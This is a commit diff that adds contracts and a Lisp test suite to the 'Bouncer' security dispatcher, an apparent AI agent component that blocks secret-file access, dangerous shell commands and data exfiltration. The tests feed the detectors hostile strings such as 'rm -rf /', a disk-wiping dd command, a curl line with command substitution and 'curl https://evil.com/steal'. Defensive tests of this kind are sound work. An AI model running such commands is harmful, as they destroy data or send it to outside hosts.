security: contracts + tests for all 5 security modules (87→123 checks)
Some checks failed
Deploy (Gitea) / deploy (push) Failing after 2s
Some checks failed
Deploy (Gitea) / deploy (push) Failing after 2s
This commit is contained in:
@@ -22,6 +22,34 @@ The Bouncer inspects nine vectors:
|
||||
|
||||
The Bouncer also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (wildcard-match pattern path): returns T if ~path~ matches ~pattern~,
|
||||
where ~*~ in pattern matches any number of characters.
|
||||
2. (dispatcher-check-secret-path filepath): returns the matching
|
||||
protected pattern if ~filepath~ matches any entry in
|
||||
~*dispatcher-protected-paths*~, nil otherwise.
|
||||
3. (dispatcher-check-shell-safety cmd): returns a list of matched
|
||||
dangerous-pattern names if ~cmd~ triggers any entry in
|
||||
~*dispatcher-shell-blocked*~, nil if safe.
|
||||
4. (dispatcher-check-privacy-tags tags-list): returns T if any tag in
|
||||
~tags-list~ matches a privacy filter tag, nil otherwise.
|
||||
5. (dispatcher-check-network-exfil cmd): returns T (unsafe) if ~cmd~
|
||||
contains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain.
|
||||
6. (dispatcher-gate action context): main deterministic gate — routes by
|
||||
sensor and applies ~dispatcher-check~ for safety verification.
|
||||
7. (hitl-create blocked-action): returns a plist with ~:token~ and
|
||||
~:message~ for user-facing HITL approval.
|
||||
8. (hitl-approve token): approves and re-injects a pending action. Returns
|
||||
T if found, nil if invalid token.
|
||||
9. (hitl-deny token): denies and removes a pending action. Returns T if
|
||||
found, nil if invalid.
|
||||
|
||||
** Boundaries
|
||||
|
||||
- Does NOT handle the gate approval routing — that is ~core-loop-reason.org~.
|
||||
- Does NOT persist HITL tokens — they live in memory only.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -586,4 +614,54 @@ Recognized formats:
|
||||
:priority 150
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'dispatcher-gate)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
#+end_src
|
||||
Reference in New Issue
Block a user